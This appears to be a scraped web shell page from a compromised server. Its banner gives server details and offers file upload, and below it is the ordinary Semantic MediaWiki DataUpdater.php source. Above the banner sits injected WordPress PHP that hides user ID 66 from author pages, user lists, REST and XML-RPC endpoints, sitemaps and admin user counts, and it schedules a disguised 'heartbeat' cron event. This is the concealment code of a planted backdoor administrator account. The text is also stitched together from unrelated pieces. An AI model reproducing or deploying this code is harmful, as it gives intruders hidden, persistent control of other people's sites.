add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/SemanticMediaWiki/src/ |
Upload File : |
<?php
namespace SMW;
use MediaWiki\MediaWikiServices;
use MediaWiki\Revision\RevisionRecord;
use MediaWiki\Title\Title;
use Onoi\EventDispatcher\EventDispatcherAwareTrait;
use Psr\Log\LoggerAwareTrait;
use SMW\MediaWiki\Deferred\TransactionalCallableUpdate as DeferredUpdate;
use SMW\MediaWiki\RevisionGuardAwareTrait;
use SMW\Property\ChangePropagationNotifier;
use SMW\Services\ServicesFactory as ApplicationFactory;
use WikiPage;
/**
* This function takes care of storing the collected semantic data and
* clearing out any outdated entries for the processed page. It assumes
* that parsing has happened and that all relevant information are
* contained and provided for.
*
* Optionally, this function also takes care of triggering indirect updates
* that might be needed for an overall database consistency. If the saved page
* describes a property or data type, the method checks whether the property
* type, the data type, the allowed values, or the conversion factors have
* changed.
*
* @license GPL-2.0-or-later
* @since 1.9
*
* @author mwjames
*/
class DataUpdater {
use RevisionGuardAwareTrait;
use LoggerAwareTrait;
use EventDispatcherAwareTrait;
/**
* @var Store
*/
private $store;
/**
* @var SemanticData
*/
private $semanticData;
/**
* @var ChangePropagationNotifier
*/
private $changePropagationNotifier;
/**
* @var bool|null
*/
private $canCreateUpdateJob = null;
/**
* @var bool
*/
private $processSemantics = false;
/**
* @var bool
*/
private $isCommandLineMode = false;
/**
* @var bool|string
*/
private $isChangeProp = false;
/**
* @var bool
*/
private $isDeferrableUpdate = false;
/**
* @var string
*/
private $origin = '';
/**
* @since 1.9
*
* @param Store $store
* @param SemanticData $semanticData
* @param ChangePropagationNotifier $changePropagationNotifier
*/
public function __construct( Store $store, SemanticData $semanticData, ChangePropagationNotifier $changePropagationNotifier ) {
$this->store = $store;
$this->semanticData = $semanticData;
$this->changePropagationNotifier = $changePropagationNotifier;
}
/**
* @see https://www.mediawiki.org/wiki/Manual:$wgCommandLineMode
* Indicates whether MW is running in command-line mode.
*
* @since 3.0
*
* @param bool $isCommandLineMode
*/
public function isCommandLineMode( $isCommandLineMode ) {
$this->isCommandLineMode = $isCommandLineMode;
}
/**
* @since 3.0
*
* @param bool $isChangeProp
*/
public function isChangeProp( $isChangeProp ) {
$this->isChangeProp = (bool)$isChangeProp;
}
/**
* @since 3.0
*
* @param bool $isDeferrableUpdate
*/
public function isDeferrableUpdate( $isDeferrableUpdate ) {
$this->isDeferrableUpdate = (bool)$isDeferrableUpdate;
}
/**
* @since 2.5
*
* @param string $origin
*/
public function setOrigin( $origin ) {
$this->origin = $origin;
}
/**
* @since 1.9
*
* @return DIWikiPage
*/
public function getSubject() {
return $this->semanticData->getSubject();
}
/**
* @since 1.9
*
* @param bool $canCreateUpdateJob
*/
public function canCreateUpdateJob( $canCreateUpdateJob ) {
$this->canCreateUpdateJob = (bool)$canCreateUpdateJob;
}
/**
* Is the update skippable given that a revision has already been stored in
* SMW?
*
* MW 1.29 made the LinksUpdate a EnqueueableDataUpdate which creates updates
* as JobSpecification (refreshLinksPrioritized) and posses a possibility of
* running an update more than once for the same RevID.
*
* @since 3.1
*
* @param Title $title
* @param int|null &$latestRevID
*
* @return bool
*/
public function isSkippable( Title $title, ?int &$latestRevID = null ) {
if ( $this->revisionGuard->isSkippableUpdate( $title, $latestRevID ) ) {
return true;
}
$associatedRev = $this->store->getObjectIds()->findAssociatedRev(
$title->getDBKey(),
$title->getNamespace(),
$title->getInterwiki()
);
return $associatedRev == $latestRevID;
}
/**
* @since 1.9
*
* @return bool
*/
public function doUpdate() {
if ( !$this->canUpdate() ) {
return false;
}
DeferredUpdate::releasePendingUpdates();
if ( $this->isDeferrableUpdate === false || $this->isCommandLineMode ) {
return $this->runUpdate();
}
$hash = $this->getSubject()->getHash();
$deferredUpdate = DeferredUpdate::newUpdate(
[
$this,
'runUpdate'
],
$this->store->getConnection( 'mw.db' )
);
$deferredUpdate->catchExceptionAndRethrow( true );
$deferredUpdate->setOrigin(
[
__METHOD__,
$this->origin,
$hash
]
);
$deferredUpdate->setFingerprint(
$hash
);
$deferredUpdate->setLogger(
$this->logger
);
$deferredUpdate->isDeferrableUpdate(
$this->isDeferrableUpdate
);
$deferredUpdate->commitWithTransactionTicket();
$deferredUpdate->pushUpdate();
return true;
}
private function canUpdate() {
$title = $this->getSubject()->getTitle();
// Protect against null and namespace -1 see Bug 50153
if ( $title === null || $title->isSpecialPage() ) {
return false;
}
return true;
}
/**
* @note Make sure to have a valid revision (null means delete etc.) and
* check if semantic data should be processed and displayed for a page in
* the given namespace
*/
public function runUpdate() {
$applicationFactory = ApplicationFactory::getInstance();
if ( $this->canCreateUpdateJob === null ) {
$this->canCreateUpdateJob( $applicationFactory->getSettings()->get( 'smwgEnableUpdateJobs' ) );
}
$user = null;
$title = $this->getSubject()->getTitle();
$wikiPage = $applicationFactory->newPageCreator()->createPage(
$title
);
// For example, when using `SemanticApprovedRevs` the guard here ensures
// that the revision reference is the same that lead to an update during
// a content parse, the revision for the parsed text and the `smw_rev`
// reference field should both point to the same revision
$revision = $this->revisionGuard->getRevision(
$title,
$this->revisionGuard->newRevisionFromPage( $wikiPage )
);
if ( $revision instanceof RevisionRecord ) {
$identity = $revision->getUser();
if ( $identity ) {
$userFactory = MediaWikiServices::getInstance()->getUserFactory();
$user = $userFactory->newFromUserIdentity( $identity );
}
}
$this->addAnnotations( $title, $wikiPage, $revision, $user );
// In case of a restricted update, only the protection update is required
// hence the process bails-out early to avoid unnecessary DB connections
// or updates
if ( $this->checkUpdateEditProtection( $wikiPage, $user ) === true ) {
return true;
}
$this->checkChangePropagation();
$this->updateData();
$context = [
'context' => 'DataUpdater',
'subject' => $this->getSubject()
];
$this->eventDispatcher->dispatch( 'InvalidatePropertySpecificationLookupCache', $context );
return true;
}
private function addAnnotations( Title $title, WikiPage $wikiPage, $revision, $user ) {
$applicationFactory = ApplicationFactory::getInstance();
if ( $revision !== null ) {
$this->processSemantics = $applicationFactory->getNamespaceExaminer()->isSemanticEnabled( $title->getNamespace() );
}
if ( !$this->processSemantics ) {
return $this->semanticData = new SemanticData( $this->getSubject() );
}
$pageInfoProvider = $applicationFactory->newMwCollaboratorFactory()->newPageInfoProvider(
$wikiPage,
$revision,
$user
);
$this->semanticData->setExtensionData( 'revision_id', $revision->getId() );
$propertyAnnotatorFactory = $applicationFactory->singleton( 'PropertyAnnotatorFactory' );
$propertyAnnotator = $propertyAnnotatorFactory->newNullPropertyAnnotator(
$this->semanticData
);
$propertyAnnotator = $propertyAnnotatorFactory->newPredefinedPropertyAnnotator(
$propertyAnnotator,
$pageInfoProvider
);
// Standard text hooks are not run through a JSON content object therefore
// we attach possible annotations at this point
if ( $title->getNamespace() === SMW_NS_SCHEMA ) {
$schemaFactory = $applicationFactory->singleton( 'SchemaFactory' );
try {
$schema = $schemaFactory->newSchema(
$title->getDBKey(),
$pageInfoProvider->getNativeData()
);
} catch ( \Exception $e ) {
$schema = null;
}
$propertyAnnotator = $propertyAnnotatorFactory->newSchemaPropertyAnnotator(
$propertyAnnotator,
$schema
);
$schemaFactory->pushChangePropagationDispatchJob( $schema );
}
$propertyAnnotator->addAnnotation();
MediaWikiServices::getInstance()
->getHookContainer()
->run(
'SMW::DataUpdater::ContentProcessor',
[
$this->semanticData,
$wikiPage->getContent()
]
);
}
private function checkUpdateEditProtection( $wikiPage, $user ) {
$applicationFactory = ApplicationFactory::getInstance();
$editProtectionUpdater = $applicationFactory->create( 'EditProtectionUpdater',
$wikiPage,
$user
);
$editProtectionUpdater->doUpdateFrom( $this->semanticData );
return $editProtectionUpdater->isRestrictedUpdate();
}
/**
* @note Comparison must happen *before* the storage update;
* even finding uses of a property fails after its type changed.
*/
private function checkChangePropagation() {
// canCreateUpdateJob: if it is not enabled there's not much to do here
// isChangeProp: means the update is part of the ChangePropagationDispatchJob
// therefore skip
if ( !$this->canCreateUpdateJob || $this->isChangeProp ) {
return;
}
$this->changePropagationNotifier->checkAndNotify( $this->semanticData );
}
private function updateData() {
$this->store->setOption(
Store::OPT_CREATE_UPDATE_JOB,
$this->canCreateUpdateJob
);
$semanticData = $this->checkForPossibleRedirectPreUpdate(
$this->semanticData
);
$subject = $semanticData->getSubject();
if ( $this->processSemantics ) {
$this->store->updateData( $semanticData );
} elseif ( $this->store->getObjectIds()->exists( $subject ) ) {
// Only clear the data where it is know that "exists" is true otherwise
// an empty entity is created and later being removed by the
// "PropertyTableOutdatedReferenceDisposer" since it is an entity that is
// empty == has no reference
$this->store->clearData( $subject );
}
return true;
}
private function checkForPossibleRedirectPreUpdate( SemanticData $semanticData ) {
// Check only during online-mode so that when a user operates Special:MovePage
// or #redirect the same process is applied
if ( !$this->canCreateUpdateJob ) {
return $semanticData;
}
$redirects = $semanticData->getPropertyValues(
new DIProperty( '_REDI' )
);
$target = end( $redirects );
if ( $target === false || $semanticData->getSubject()->equals( $target ) ) {
return $semanticData;
}
return $this->updateRedirectTarget( $semanticData, $target );
}
private function updateRedirectTarget( SemanticData $semanticData, DIWikiPage $target ) {
$subject = $semanticData->getSubject();
// The general rule is that a redirect page is not expected to contain
// any other annotation other than that of the redirect target.
// #4336
// An exception to this rule is when equality support is disabled and
// `smwgAnnotationSupportForRedirects` was explicitly set to allow
// annotations to remain on the redirect page.
// Clear the data and only keep the reference to the traget, using this as
// safeguard so that even when text contains annotations there are removed
// from the `Store`.
$semanticData = new SemanticData( $subject );
$semanticData->addPropertyObjectValue( new DIProperty( '_REDI' ), $target );
// #895
// Force a manual changeTitle before the general update otherwise
// #redirect can cause an inconsistent data container
$source = $subject->getTitle();
$target = $target->getTitle();
$this->store->changeTitle(
$source,
$target,
$source->getArticleID(),
$target->getArticleID()
);
return $semanticData;
}
}